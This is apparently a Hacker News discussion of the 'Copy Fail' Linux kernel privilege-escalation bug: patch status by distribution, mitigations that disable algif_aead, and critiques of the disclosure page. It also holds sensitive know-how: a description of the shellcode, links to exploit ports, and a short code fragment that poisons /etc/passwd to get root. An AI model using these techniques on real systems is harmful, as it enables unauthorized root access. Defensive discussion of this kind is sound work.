17 ms·

Copy Fail

• not_your_vase 6mo ago
  Is there a readable version of the exploit readily available by any chance? Gotta admit that I failed binary-zip-interpretation-with-naked-eye class twice
  • progval 6mo ago
    The binary "zip" isn't the exploit, it's the shellcode. The exploit is the rest, which changes the code of a SUID executable (su).
  • stackghost 6mo ago
    The call to zlib basically overwrites a minimal ELF into a portion of the `su` binary, which exceve's /bin/sh.
    • Sophira 6mo ago
      To be specific, the zlib'd binary basically does this (except that it directly uses Linux syscalls to do so rather then C wrappers): setuid(0); execve("/bin/sh", NULL, NULL); exit(0);
  • tgies 6mo ago
    I have a C translation here that should be pretty readable https://github.com/tgies/copy-fail-c https://github.com/tgies/copy-fail-c
  • tommy_axle 6mo ago
    Go version came in handy https://github.com/badsectorlabs/copyfail-go https://github.com/badsectorlabs/copyfail-go especially for systems without the very latest python (os.slice) Slightly more readable Python version at https://gist.github.com/grenkoca/b82281a4706e936072979acf54b608df https://gist.github.com/grenkoca/b82281a4706e936072979acf54b...
• Lorin 6mo ago
  What is the rationale behind naming CVEs and individual domains? Marketing?
  • ronsor 6mo ago
    It makes sure people don't forget about the vulnerabilities, at least
  • Fuzzbit 6mo ago
    Same reason they name storms, numbers scare normies
  • skilled 6mo ago
    Probably to some extent it is marketing, but generally it has to do with significant bug finds to get the message out to the people who need to apply patches and/or be informed. Heartbleed, Log4Shell, etc. Very few CVE’s get names dedicated to them like this, because usually when they do - it is very serious, as in this case.
  • john_strinlai 6mo ago
    can you remember what CVE-2021-44228 is without looking it up? CVE-2014-6271? CVE-2017-5753? i bet if i told you their names, you would instantly know what vulns those are. its easier to talk about things with names. it hurts no one. it takes approximately no effort or time. CVEs are, for whatever reason, like the only thing on the planet that people seem to have a problem with when they receive a name. i am not sure why.
    • QuantumNomad_ 6mo ago
      > CVEs are, for whatever reason, like the only thing on the planet that people seem to have a problem with when they receive a name. i am not sure why. What, you guys talk about books based on their “title” instead of just memorising the ISBN of each book? Pssh, count me disappointed!
      • john_strinlai 6mo ago
• baggy_trough 6mo ago
  Is this fixed in any stable release kernel yet?
  • Wingy 6mo ago
    7.0-rc1 has a tag with it: % git describe a664bf3d603d v7.0-rc1-10-ga664bf3d603d I suspect this means the stable 7.0 has it too.
• skilled 6mo ago
  This looks like an extraordinary find at first glance. Does this mean you can go from a basic web shell from a shared hosting account to root? I can see how that could wreak havoc really quickly.
  • barbegal 6mo ago
    Yes I would imagine lots of those type of services would be vulnerable if they hadn't updated to the latest kernel versions.
    • stackghost 6mo ago
      As of this comment, Debian Stable ("Trixie", though I hate codenames) doesn't have a fix in place and remains vulnerable, or at least their CVE tracker shows it as such: https://security-tracker.debian.org/tracker/CVE-2026-31431 https://security-tracker.debian.org/tracker/CVE-2026-31431
      • bananamogul 6mo ago
        "Debian Stable ("Trixie", though I hate codenames)" You can also call it Debian 13.
        • cachius 6mo ago
          13.4 since 3/14
        • stackghost 6mo ago
          I choose not to call it Debian 13 because that carries less context than Stable/Testing/sid. I'd rather not require the user to maintain that extra metnal mapping. Anyone who knows anything about this subject immediately understands what is connoted by "Debian Stable". I run Trixie on most of my personal boxes and I had no idea what version number it is, nor do I particularly care.
          • 6mo ago
• corvad 6mo ago
  If this is verified, this is a very big deal. Root access on any shared computer. Additionally do we know what kernel versions and stable versions have the patch?
  • Tuna-Fish 6mo ago
    I just tested on my home server running ubuntu 24.04 LTS with newest kernel from repositories, got root.
    • Avamander 6mo ago
      Can Livepatch mitigate this or is it already? I don't know where to look this up.
      • Tuna-Fish 6mo ago
        I used the mitigation from this CVE report to turn off AF_ALG.
  • ranger_danger 6mo ago
    As far as mainline goes, only 7.0 and up have the patch already.
• porridgeraisin 6mo ago
  Better explanation of the write up (still from original exploit author) : https://xint.io/blog/copy-fail-linux-distributions https://xint.io/blog/copy-fail-linux-distributions
• Ekaros 6mo ago
  So this could be usable in lot of places with Python and Linux running? Not that I have too many Linux devices around. Still, might be handy sometimes on personal devices.
  • kro 6mo ago
    This can likely be shipped as binary code without dependencies like python, as the bug is in the kernel.
    • ranger_danger 6mo ago
      C version here: https://gist.github.com/alufers/921cd6c4b606c5014d6cc61eefb080fe https://gist.github.com/alufers/921cd6c4b606c5014d6cc61eefb0...
    • tgies 6mo ago
      [dead]
  • SteveNuts 6mo ago
    There's nothing specific about this related to Python, that's just demonstrating how it works. This is usable anywhere on an affected Kernel version
• embedding-shape 6mo ago
  For mitigation, the page currently basically just says: > Update your distribution's kernel package to one that includes mainline commit a664bf3d603d But it isn't very clear to me what Kernel version you can expect that to be in. For Arch/CachyOS, the patch seems to be included in 6.18.22+, 6.19.12+ and 7.0+. If you're on any of the lower versions in the same upstream stable series, you're likely vulnerable right now. Some distro kernels may include the fix in other versions, so check for your distribution.
  • kro 6mo ago
    Major os vendors will publish pages with the fixed versions: https://security-tracker.debian.org/tracker/CVE-2026-31431 https://security-tracker.debian.org/tracker/CVE-2026-31431 https://ubuntu.com/security/CVE-2026-31431 https://ubuntu.com/security/CVE-2026-31431 Also, disabling algif_aead is suggested as mitigation
    • 1p09gj20g8h 6mo ago
      Where are you seeing the disabling algif_aead mitigation?
      • oskarkk 6mo ago
        In TFA: https://copy.fail/#mitigation https://copy.fail/#mitigation > Before you can patch: disable the algif_aead module. > echo "install algif_aead /bin/false" > /etc/modprobe.d/disable-algif.conf > rmmod algif_aead 2>/dev/null || true Edit: and I can confirm that on my system with kernel 6.19.8 the above fixes the exploit.
        • comfydragon 6mo ago
          Weirdly, the mitigation does not seem to work under WSL2 (at least in Ubuntu 24.04). Linux wsl2 6.6.87.2-microsoft-standard-WSL2 ... `modprobe algif_aead` errors out, but if I run the POC, it succeeds. Outside of WSL2, the mitigation does appear to work though.
• TehCorwiz 6mo ago
  It does not behave as described on EndeavorOS (arch-based) running kernel 6.19.14-arch1-1. I receive the error: Password: su: Authentication token manipulation error I'm guessing this means it's already patched?
  • dimastopel 6mo ago
    same result on my arch machine as well.
  • john_strinlai 6mo ago
    yes, it was reported on march 23rd, patches on april 1. you are reading about it now because it has been patched.
    • marshray 6mo ago
      No it hasn't. Ubuntu before 26.04 LTS (released a week ago) are currently listed as vulnerable. Debian other than forky and sid are currently listed as vulnerable. This is a disgrace.
      • john_strinlai 6mo ago
        Disclosure timeline 2026-03-23Reported to Linux kernel security team 2026-03-24Initial acknowledgment 2026-03-25Patches proposed and reviewed 2026-04-01Patch committed to mainline 2026-04-22CVE-2026-31431 assigned 2026-04-29Public disclosure (https://copy.fail/) kernel 6.19.14-arch1-1, the kernel in question from the parent comment, has been patched.
        • marshray 6mo ago
          The lesson here being... compile your own kernel from git sources every few days? Give up entirely on non-virtualized container security? This is not sarcasm. I'd finally given in and started learning about docker/podman-style OCI containerization last week.
• w2seraph 6mo ago
  holy smokes it just rooted my just installed from ISO Ubuntu server
• rany_ 6mo ago
  Could this be used to root Android devices? Does Android ship with algif_aead?
  • zb3 6mo ago
    Android is smarter than setuid + system partitions aren't writable.
    • int0x29 6mo ago
      Its not writing to the partition though is it? It is polluting the cache page via a write with a buffer overrun in the kernel. I don't think buffer overruns follow permissions.
      • zb3 6mo ago
        I assumed such memory would be mapped readonly (PROT_READ), without actually looking into it..
    • firer 6mo ago
      System partitions being non-writable has nothing to do with the vulnerability - it allows modifying the cache of any file that you can open for reading. Not using setuid anywhere means you'd have to build a slightly more clever exploit, but it's still trivial - just modify some binary you know will run as root "soon". But... I didn't check, but IIRC the untrusted_app secontext that apps run in is not allowed to open AF_ALG sockets - so you can't directly trigger the vulnerability as a malicious app. Although it might be possible in some roundabout way (requesting some more privileged crypto service to do so).
      • int0x29 6mo ago
        Edit: Ignore this I overlooked calling order. It is indeed blocked ~~My allegedly fully patched pixel 8 pro allowed an AF_ALG socket to open under termux without virtualization so I'm not sure the last but is true~~
      • 6mo ago
• jzb 6mo ago
  This is amazing. Page says it works on RHEL 14.3, which doesn’t exist. Current RHEL is 10.x, this must’ve been done in a TARDIS.
  • rdtsc 6mo ago
    [flagged]
    • deleted 6mo ago
      [deleted]
    • tptacek 6mo ago
      I have no idea about this page, but Theori/Xint has a staff of veterans, they are a serious thing.
      • rdtsc 6mo ago
        The fact that they have no idea RHEL 14, probably the most well known enterprise distro, is not a thing, and yet they "directly verified on it" casts some doubt on seriousness.
        • tptacek 6mo ago
          I don't know what to tell you. I'm sure you have them dead to rights on Linux distro knowledge reliability, but the exploit here is real, and the vulnerability researchers they have on staff are also real. Xint is not generally a slop factory. It's ironic that the one thing LLMs can't do reliably in this space is "write copy for humans" (I don't trust them for that either).
          • deleted 6mo ago
            [deleted]
          • JeremyNT 6mo ago
            Honestly I feel like a coding agent review would have caught this issue. I guess if you want to vibe-code your branded CVE web site it's not a bad idea to at least mash /review at the end. Kind of funny to do something impressive and then ignore the details on the presentation, but perhaps that's not uncommon for security researchers?
• charcircuit 6mo ago
  SUID binaries once again assisted a local privilege escalation attack. This is a major problem that distros can't keep ignoring.
  • marshray 6mo ago
    There's a claim upthread that a straightforward variation works against /etc/passwd.
    • q3k 6mo ago
      You can also just use this to patch libc and turn close() into close-but-also-give-me-a-root-shell().
• themafia 6mo ago
  > If your kernel was built between 2017 and the patch This is why I compile my own kernel. I disable things I don't use. If it's not present it can't hurt you. > block AF_ALG socket creation via seccomp regardless of patch state. Likewise I use seccomp to only allow syscalls that are necessary. Everything else is disabled. In the programs I have that need to connect to a backend socket, that is done, and then socket creation is disabled.
  • tosti 6mo ago
    Any pointers on how to set that up? Like, run all the things through strace, cut the first field, sort, uniq, run through some template and something somesuch what how?
• maxtaco 6mo ago
  Use extreme caution running arbitrary code on your machines, especially obfuscated code that tickles kernel bugs! (edited)
  • charcircuit 6mo ago
    The page explicitly describes that it is stealthy as it does not make permanent changes, only corrupting the binary in memory.
    • scratchyone 6mo ago
      unfortunately the page can also lie to you haha. it seems people have reviewed the code by now, but running suspicious shellcode you don't fully understand is never a great idea.
      • charcircuit 6mo ago
        I personally had AI review the code, add comments, disassemble the shell code, etc.
        • scratchyone 6mo ago
          that's quite smart. i was almost stupid enough to paste it into a terminal to check if it worked before deciding to wait and let others analyze it first haha
  • stackghost 6mo ago
    Analysis of the POC concurs with my tests that confirm that the portion of `su` that gets overwritten does not survive a reboot.
    • wang_li 6mo ago
      it's living in your page cache, not on your disk. flush the caches and it'll disappear.
• bblb 6mo ago
  What is "RHEL 14.3"? Was this site a one shot prompt. Quality.
• DetroitThrow 6mo ago
  Despite the copy/images being weird about RHEL 14.3, this seems to work. Wow?
• layer8 6mo ago
  Debian page: https://security-tracker.debian.org/tracker/CVE-2026-31431 https://security-tracker.debian.org/tracker/CVE-2026-31431
  • Sohcahtoa82 6mo ago
    Oddly, the POC doesn't work on my Debian 12 (Bookworm) EC2 instance. Everything that should indicate it's vulnerable is there, including the ability to socket(38,5,0).bind("aead", "authencesn(hmac(sha256),cbc(aes))")
    • layer8 6mo ago
      What kernel version is it? (`uname -r`)
      • primoprimo4444 6mo ago
        Not the OP, but I've tried it on Debian 12 and kernel 6.1.0-34-amd64 is vulnerable (ie. the exploit works) but 6.1.0-42-amd64 and 6.1.0-44-amd64 seem to be immune, at least for me. I have only tested the exploit as-is (with su). I do see from other comment theads here that someone had it work for them on 6.1.0-43, but I can't yet find that kernel installed anywhere here to verify.
      • Sohcahtoa82 6mo ago
        6.1.0-44-amd64 Sibling comment says this version seems to be immune.
• dgellow 6mo ago
  That’s the most AI-written page ever made
  • collinmanderson 6mo ago
    Yes. So cringy.
• nickcw 6mo ago
  [dead]
• phreack 6mo ago
  The page itself seems vibecoded and a bit of an advertisement, but it does look like the vulnerability is real and high risk. It does explain the big security update I just got, guess I'll prioritize updating today.
  • 2001zhaozhao 6mo ago
    This is pretty obviously an advertisement but it's a pretty good advertisement imo, it pairs a meaningful contribution to the OSS ecosystem (discovering and patching a real bug) with selling your cybersecurity tool at the same time.
    • Orygin 6mo ago
      The incentive previously was having more secure software making a name for yourself. The incentive now is finding the most noisy vulnerability so you can push FUD to sell your AI software.
  • angry_octet 6mo ago
    These guys don't need to advertise, they are already 100% busy with work. But who wastes their time manually creating web pages? Especially kernel devs.
    • tkgally 6mo ago
      Side comment: I have recently used Claude Code to make a few sites for testing purposes. In the prompt I added "don't make it look vibe coded," and it worked pretty well: No purple gradients, bento box layouts, etc. Nothing spectacularly original, either, but probably enough to avoid accusations of vibe coding.
    • x4132 6mo ago
      it's advertising their AI, not the talents of their humans :D
      • angry_octet 6mo ago
• chasil 6mo ago
  On the downside, I need to push new kernels to all my servers. On this bright side, does this mean Magisk is coming to all unpatched Android phones?
  • akdev1l 6mo ago
    No, Android doesn’t have suid binaries to exploit like in the PoC
    • tardedmeme 6mo ago
      The vulnerability can also be used on any binary that is already running as root and you can open for reading. So yes, any android app can now escalate to root if android has the vulnerable module.
      • userbinator 6mo ago
        Unfortunately another comment thread here says that it doesn't.
• progval 6mo ago
  So this replaces a SUID binary, in order to run as PID 0. The website claims it can escape "Kubernetes / container clusters" and "CI runners & build farms" but I don't see anything supporting the claim it can escape a container (or specifically, a user namespace). I ran the exploit in rootless Podman, and predictably it doesn't escape the container. They also claim their script "roots every Linux distribution shipped since 2017.", but only tested four; and it doesn't work on Alpine
  • embedding-shape 6mo ago
    Did you try it on systems that don't have the patch already? Seems many distributions already shipped kernels with the patch ~a month ago.
    • progval 6mo ago
      Yes. Alpine in rootless Podman doesn't work (after replacing "/usr/bin/su" with "/bin/su" in the .py, running the .py just doesn't do anything) while it does in Debian in rootless Podman on the same host.
  • amusingimpala75 6mo ago
    Their PoC does as you say, but is built upon arbitrary modification of the page cache, which could be abused for the other things
    • progval 6mo ago
      Ah indeed, it can be used to overwrite the page cache for files on read-only volumes.
  • rcxdude 6mo ago
    If you can get to real UID 0 from a rootless container, you can escape it, but you do need to take extra steps. Same with it working on Alpine: the underlying vulnerability probably still exists, but the script might need some adjusting. It's a PoC, not a full exploit for every situation.
• smlacy 6mo ago
  The fetishism of "byte count" (here, as "732 byte python script") needs to stop, especially when in a context like this where they're trying to illustrate a real failure modality. Looking at their source code [1] it starts with this simple line: import os as g,zlib,socket as s And already I'm perplexed. "os as g"? but we're not aliasing "zlib as z"? Clearly this is auto-generated by some kind of minimizer? Likely because zlib is called only once, and os multiple times. As a code author/reviewer, I would never write "os as g" and I would absolutely never approve review of any code that used this. Anyway, I could go on. :) Let's just stop fetishizing byte count [1] https://github.com/theori-io/copy-fail-CVE-2026-31431/blob/main/copy_fail_exp.py https://github.com/theori-io/copy-fail-CVE-2026-31431/blob/m...
  • ok123456 6mo ago
    This is pretty legible compared to the 90s C rootshell.org exploits.
  • embedding-shape 6mo ago
    > I would absolutely never approve review of any code that used this. How often do you review, and subsequently block the release, of PoCs in this sort of context? Sounds like you've faced this a lot. I always thought code quality mattered less in those, as long as you communicate the intent.
    • opello 6mo ago
      While not formally reviewing code like this, I read a lot of it for fun. When it's clear and understandable, it's more educational and enjoyable. If the PoC code can also serve as a means of communication, that seems like an extra win.
    • Xirdus 6mo ago
      If you have a choice between posting minimized exploit code, and posting regular exploit code, posting minimized code is virtually always the wrong choice. If you have a choice between pointing out the byte size of the exploit, and not pointing out the byte size of the exploit, pointing it out is virtually always the wrong choice. In both cases, doing the right thing is less work. So somebody is going the extra way to ensure they are doing it wrong. If they didn't care, they'd end up doing it right by default.
• xeeeeeeeeeeenu 6mo ago
  It seems there was some kind of confusion during the disclosure process, because the vendors aren't treating this vulnerability as serious and it remains unpatched in many distros. https://access.redhat.com/security/cve/cve-2026-31431 https://access.redhat.com/security/cve/cve-2026-31431 "Moderate severity", "Fix deferred" https://security-tracker.debian.org/tracker/CVE-2026-31431 https://security-tracker.debian.org/tracker/CVE-2026-31431 https://ubuntu.com/security/CVE-2026-31431 https://ubuntu.com/security/CVE-2026-31431 https://www.suse.com/security/cve/CVE-2026-31431.html https://www.suse.com/security/cve/CVE-2026-31431.html
  • Tuna-Fish 6mo ago
    Yeah, by ubuntu's own guidelines linked on that page, this should be priority: high, but instead it's marked as medium.
    • no-name-here 6mo ago
      That was fixed, it’s now marked high.
    • deleted 6mo ago
      [deleted]
  • MarleTangible 6mo ago
    Seems like distros consider it a medium risk because it doesn't involve remote code execution and requires local access. Though it allows local root privilege escalation which is considered high priority. https://ubuntu.com/security/cves/about#priority https://ubuntu.com/security/cves/about#priority > Medium: A significant problem, typically exploitable for many users. Includes network daemon denial of service, cross-site scripting, and gaining user privileges.
    • oskarkk 6mo ago
      Strange that it's not classified as "high", which specifically includes "local root privilege escalations". > High: A significant problem, typically exploitable for nearly all users in a default installation of Ubuntu. Includes serious remote denial of service, local root privilege escalations, local data theft, and data loss.
• dist-epoch 6mo ago
  > Will you release the full PoC? > Yes — it's on this page. We held it for a month while distros prepared patches; the major builds are out as of this writing. There is no update available for Ubuntu 24, PoC works and just tried updating.
• krunck 6mo ago
  Wow. I tried it on an old testing VM of Ubuntu 24.04 that had not been touched for a few months. Instant root with the bonus that any user that runs "su" gets root too. I updated the VM thinking it would be fixed afterward. Nope.
  • akdev1l 6mo ago
    You’d have to reinstall the su binary itself I guess
    • cyberpunk 6mo ago
      It just changes the page cache for the su binary, a reboot will revert it.
      • majorchord 6mo ago
        No need to reboot: sync && echo 3 >/proc/sys/vm/drop_caches
• deep2secure 6mo ago
  I checked it. Very nice efforts made to create it
• rkeene2 6mo ago
  Interestingly it fails for me because my `su` isn't world-readable: $ stat /bin/su File: /bin/su Size: 59552 Blocks: 118 IO Block: 59904 regular file Device: 0,52 Inode: 796854 Links: 1 Access: (4711/-rws--x--x) Uid: ( 0/ root) Gid: ( 0/ root) Access: 2023-09-18 13:23:03.117105665 -0500 Modify: 2021-02-13 05:15:56.000000000 -0600 Change: 2023-09-18 13:23:03.119105665 -0500 Birth: 2023-09-18 13:23:03.117105665 -0500 I'm not sure I have any setuid/setgid binaries that are world-readable...
  • rkeene2 6mo ago
    A workaround might be to make all setuid/setgid files non-world-readable because then they cannot be opened at all, and thus there is no setuid file to replace the contents of.
    • hashstring 6mo ago
      Eh, if you can pollute page caches this won’t safe you. Think modifying shared libraries, ld preload, cron, I guess on some systems /etc/passwd even. There are a lot of files readable that should definitely not be writable.
      • rkeene2 6mo ago
        Fair enough -- a simpler change might be to poison /etc/passwd and call `su` to a user that has uid 0, since that requires no shell code nor a readable binary, and this seems to have worked in a slightly modified POC: f=g.open("/etc/passwd",0); e="rkeene:x:0:0:System administrator:/root:/run/current-system/sw/bin/bash\n".encode() ... g.system("/run/wrappers/bin/su - rkeene")
        • tyilo 6mo ago
          There is a PoC that does exactly that here: https://github.com/tgies/copy-fail-c https://github.com/tgies/copy-fail-c
  • 6mo ago
• aniou 6mo ago
  Looks like a LLM hallucination - there is no thing like "RHEL 14.3", although referenced kernel signature (6.12.0-124.45.1.el10_1) contains reference to real RHEL release, i.e. 10.1.
• nh2 6mo ago
  If you want to use the suggested mitigation (disabling kernel module `algif_aead` with a modprobe config), and you do not want to run that whole obfuscated shell code to get an actual root shell, but only check if the module can be loaded, here is a readable version of its first few lines: python3 -c 'import socket; s = socket.socket(socket.AF_ALG, socket.SOCK_SEQPACKET, 0); s.bind(("aead","authencesn(hmac(sha256),cbc(aes))")); print("algif_aead probably successfully loaded, mitigation not effective; remove again with: rmmod algif_aead")' Similarly, when the mitigation is in place, modprobe algif_aead should fail with an error.
  • archon810 6mo ago
    modprobe algif_aead modprobe: FATAL: Module algif_aead not found in directory /lib/modules/6.14.3-x86_64-linode168 Yet this kernel is vulnerable.
    • Sophira 6mo ago
      That would suggest that CRYPTO_USER_API_AEAD=y in your kernel config. You can disable it in that case by setting that to "n", recompiling your kernel, and putting the new kernel in place.
      • nh2 6mo ago
        Indeed, no modprobe.d will help when the feature is compiled into the kernel ("=y") instead of compiled into a runtime-loadable module.
• tjbecker 6mo ago
  For this crowd, I highly suggest checking out the technical writeup https://xint.io/blog/copy-fail-linux-distributions https://xint.io/blog/copy-fail-linux-distributions
  • belkinpower 6mo ago
    This has frustratingly low information density for a technical writeup. The LLM output on the marketing page is whatever, but here it really feels like my time isn’t being respected.
• pixel_popping 6mo ago
  Yet, some people will still continue to say that "AI" isn't ready to replace (or strongly assist) our workflows, sure, some of the best humans devs left a vulnerability that serious (It's extremely serious, so many container as a service are vulnerable) for 9 years and an agent found it in 1 hour, maybe it's time to wake up and accept that it's UNSAFE to not use AI for security review as well?
  • collinmcnulty 6mo ago
    A human security researcher found the core issue and an agent searched for where to apply it. I don’t think “an agent found it in one hour” is a fair summary of what happened.
    • pixel_popping 6mo ago
      I was a bit rough, agreed, but the overall point is still correct, I kinda want to emphasize that I've also ran hundred of loops recently (combination of opus-4.6/gpt-5.4/gemini-3.1-pro-preview) toward a Rust codebase that we manage and that we deemed secure after many audits and found 2 serious issues as well in it, this was also audited externally by a third party that we've paid, which makes me genuinely scared of releasing anything without deep AI verification nowadays. Anybody has the same feeling?
    • marshray 6mo ago
      "The starting insight — that splice() hands page-cache pages into the crypto subsystem and that scatterlist page provenance might be an under-explored bug class — came from human research by Taeyang Lee at Xint. From there, Xint Code scaled the audit across the entire crypto/ subsystem in roughly an hour. Copy Fail was the highest-severity finding in the run." So, if anything, this might argue against the presence of huge quantities of high-severity bugs in this part of the Linux kernel (that could be found by "Xint Code"-class scanning systems).
• erans 6mo ago
  For agents, if you are concerned about that, block access to "su" as it is interactive anyway. Not loading it into the memory will block the attack. If you are using AgentSH (https://www.agentsh.org https://www.agentsh.org) you can add a rule to block "su" and soon be able to block AF_ALG sockets if you want to further protect things.
  • tardedmeme 6mo ago
    This vulnerability can affect any file you can read. The PoC uses "su" but any setuid binary or any binary that root invokes or is already running as root is vulnerable, as well as many configuration files.
• hackernudes 6mo ago
  LPE = local privilege escalation Too many darn acronyms. This one wasn't too hard to figure out from context but I wish people would define acronyms before using them!
  • jjordan 6mo ago
    Good writing for a broad audience requires it. Unfortunately the LLMs don't tend to adopt this guideline.
    • boston_clone 6mo ago
      it’s a CVE write up; the audience for these knows what an LPE is.
      • hackernudes 6mo ago
        I've read many CVEs (somehow that acronym is ok... heh) but have never seen LPE despite being familiar with the concept.
        • staticassertion 6mo ago
          That seems literally borderline impossible.
          • smaudet 6mo ago
            You should re-evaluate your probabilities, I too have heard frequently of CVEs, but never of an LPE.
            • staticassertion 6mo ago
              I'm sure lots of people have heard of CVEs, but have you actually read many? LPE is an extremely common term. It's like not knowing RCE. These are the terms used.
• chvish 6mo ago
  Are kernel crypto modules even loaded by default on enterprise distros
  • ranger_danger 6mo ago
    Attempting to open an AF_ALG socket will load the module on-demand if necessary.
• rkeene2 6mo ago
  I couldn't get the POC to work with my version of Python so I had ChatGPT convert it to C [0] and was able to verify my Slackware system does not appear to be affected, but my NixOS system would be if I had any world-readable suid binaries (which I had to make one to test it). [0] https://rkeene.org/viewer/tmp/copy_fail_exp.c.htm https://rkeene.org/viewer/tmp/copy_fail_exp.c.htm
  • miniBill 6mo ago
    Don't you have like, a sudo in /run/wrappers/bin? EDIT: Sorry, I failed at reading your message. Never mind.
• zdimension 6mo ago
  Works on all my servers. This is terrifying.
• eaf7e281 6mo ago
  I'm impressed that such a serious problem popped up out of nowhere. In my opinion, this mostly affects countries that are still using outdated systems, especially critical systems. This gives bad actors a direct route to the root. Having an easily accessible root is not funny.
• q3k 6mo ago
  Quickly dove into this. 1. Yes, it's real. 2. Current chain can write any arbitrary content to any user-readable file (into the page cache). 3. Current chain relies on an available target suid binary that you can open() as a lowpriv user. 4. Current exploit relies on that binary being /bin/su and then being able to execve(/bin/sh, 0, 0) (which doesn't work on alpine, etc.). The former is easily replaced in the code. The latter needs a rebuilt payload ELF (also easy). 5. The authors say they have other chains (including ones that allow container escapes). I believe them. 6. A mildly de-minified PoC for Alpine with a new payload ELF is at hackerspace[pl]/~q3k/alpine.py . You'll need /bin/ping from iputils. This should be now somewhat reliable on any distro that has a `/bin/sh` and any setuid-and-readable binary (you'll just need to find it on your own).
  • q3k 6mo ago
    And yeah, you can just change arbitrary instructions of any running process (including privileged) as long as you have read access to that process' binary: https://object.ceph-waw3.hswaw.net/mastodon-prod/media_attachments/files/116/490/539/301/682/066/original/0e25f6b7b79cf80f.png https://object.ceph-waw3.hswaw.net/mastodon-prod/media_attac...
• oncallthrow 6mo ago
  [flagged]
• jesse_dot_id 6mo ago
  Good thing nobody is silly enough to let fully autonomous AI agents run as regular users on these affected operating systems. That could be disastrous given a zero day prompt injection technique.
  • sieabahlpark 6mo ago
    [dead]
  • chromacity 6mo ago
    I don't see what the issue is, my agent is already running as root.
    • dnnddidiej 6mo ago
      Yeah it has all the government logins and full gmail access. It will be too busy to bother rooting the local machine!
      • latentsea 6mo ago
        Shouldn't be a problem, we're currently clean on OpSec.
    • pixel_popping 6mo ago
      As it should for full yolo_O
  • ryandrake 6mo ago
    Good thing we haven't normalized installing things with curl | sh
    • dawnerd 6mo ago
      Or npm being allowed to run arbitrary post install scripts
    • Semaphor 6mo ago
• pkoiralap 6mo ago
  Does anyone have a workaround for it? Edit: I don't understand why the comment would be downvoted.
  • angch 6mo ago
    I used, for debian based systems: printf "# CVE-2026-31431\nblacklist algif_aead\ninstall algif_aead /bin/false\n" | sudo tee /etc/modprobe.d/blacklist-algif_aead.conf >/dev/null && sudo update-initramfs -u
  • a96 6mo ago
    There's some workarounds in https://copy.fail/#mitigation https://copy.fail/#mitigation
• firesteelrain 6mo ago
  RHEL is listing this as fix deferred for RHEL 8 and 9.
  • yrro 6mo ago
    They've bumped the severity and 8/9/10 are now 'affected'. Hope a patch comes soon!
• m3nu 6mo ago
  I wasn't able to unload algif_aead on RHEL 9/10 because it's built in, rather than a module. So here the next-best thing I found: Disable AF_ALG via systemd. Needs drop-ins for all exposed services. Here an Ansible playbook that covers ssdh and user@, which are the main ones usually. https://gist.github.com/m3nu/c19269ef4fd6fa53b03eb388f77464da https://gist.github.com/m3nu/c19269ef4fd6fa53b03eb388f77464d...
  • pkoiralap 6mo ago
    I was coming up with the same intuition. However, it's like a whack-a-mole. What about cronjobs and slurmjobs and other services? Is there a way to do this directly on systemd so that all other processes inherit it rather than doing it on each one?
    • chucky_z 6mo ago
      https://www.freedesktop.org/software/systemd/man/latest/systemd.unit.html# https://www.freedesktop.org/software/systemd/man/latest/syst... `/etc/systemd/system/service.d/${...}.conf` I think this is what you're looking for.
    • deleted 6mo ago
      [deleted]
  • byron3256 6mo ago
    How about blacklisting algif_aead initialization function on RHEL 9/10? I added "initcall_blacklist=algif_aead_init" to the kernel boot options and rebooted. The exploit is not working anymore.
    • m3nu 6mo ago
      Good idea. Added to the playbook for RHEL only. On Debian normal unloading of the module works.
  • yrro 6mo ago
    FYI RHEL's SELinux policy blocks AF_ALG socket creation for confined services out of the box. But disabling via RestrictAddressFamilies= unit option, or initcall_blacklist= kernel parameter, seems to be a good mitigation for unconfined services, users and containers.
• jchw 6mo ago
  I tried this on NixOS, but it doesn't seem to be easily reproducible. There's no /usr/bin/su - okay, fine: I changed it to /run/wrappers/bin/su, but that didn't work, and I think the reason why is because the NixOS suid wrappers have +x but not +r: $ ls -lah /run/wrappers/bin/su -r-s--x--x 1 root root 70K Apr 27 11:09 /run/wrappers/bin/su Not that this makes the underlying mechanism of the exploit any better, but I wonder what else you can do with it. Is there a way to target a suid binary that doesn't have +r? I guess all of the suid binaries necessarily don't, since the wrapper system doesn't grant it and you can't have suid binaries in the /nix/store. I know it's also unrelated, but this is the most aggressively obvious LLM slop copy I've ever seen and it is a page with like 30 sentences. I guess we're just seriously doing this, huh?
  • chuso 6mo ago
    It's the same with Gentoo, setuid binaries are installed without read permission. But modifying a setuid binary is just the demo exploit that was published with the vulnerability disclosure. The vulnerability actually allows modifying four bytes in any readable file. That means system configuration files, other binaries intended to be run by root, libraries... It's not limited to modifying setuid binaries.
• kayson 6mo ago
  s6-overlay is a popular container image base for many self hosted services, and it uses an suid binary for startup. I wonder if this could be used to escape the container?
• DannyBee 6mo ago
  I love how it says "Standalone PoC. Python 3.10+ stdlib only (os, socket, zlib). Targets /usr/bin/su by default; pass another setuid binary as argv[1]." Except you can't pass another setuid binary as argv[1] because the AI writing this slop never added that feature to this python script. I can't get it to work on any distro i've tried.
  • tptacek 6mo ago
    The landing page is just bad. There's no way around it. The bug is pretty great. I feel bad for the researchers who did the work.
• ebiggers 6mo ago
  As someone who works on the Linux kernel's cryptography code, the regularly occurring AF_ALG exploits are really frustrating. AF_ALG, which was added to the kernel many years ago without sufficient review, should not exist. It's very complex, and it exposes a massive attack surface to unprivileged userspace programs. And it's almost completely unnecessary, as userspace already has its own cryptography code to use. The kernel's cryptography code is just for in-kernel users (for example, dm-crypt). The algorithm being used in this exploit, "authencesn", is even an IPsec implementation detail, which never should have been exposed to userspace as a general-purpose en/decryption API. If you're in charge of the configuration for a Linux kernel, I strongly recommend disabling all CONFIG_CRYPTO_USER_API_* kconfig options. This would have made this bug, and also every past and future AF_ALG bug, unexploitable. In the unlikely event that you find that it breaks any userspace programs on your system, please help migrate them to userspace crypto code! For some it's already been done. But in general, AF_ALG has actually never been used much in the first place, other than in exploits. I don't think there's much other option. This sort of userspace API might have been sort of okay many years ago. But it just doesn't stand up in a world with syzbot, LLM-assisted bug discovery, etc.
  • dev_l1x_be 6mo ago
    Why is this available in the kernel on a box that does not use ipsec? should this be compile time enabled module instead than a generic solution?
    • ButlerianJihad 6mo ago
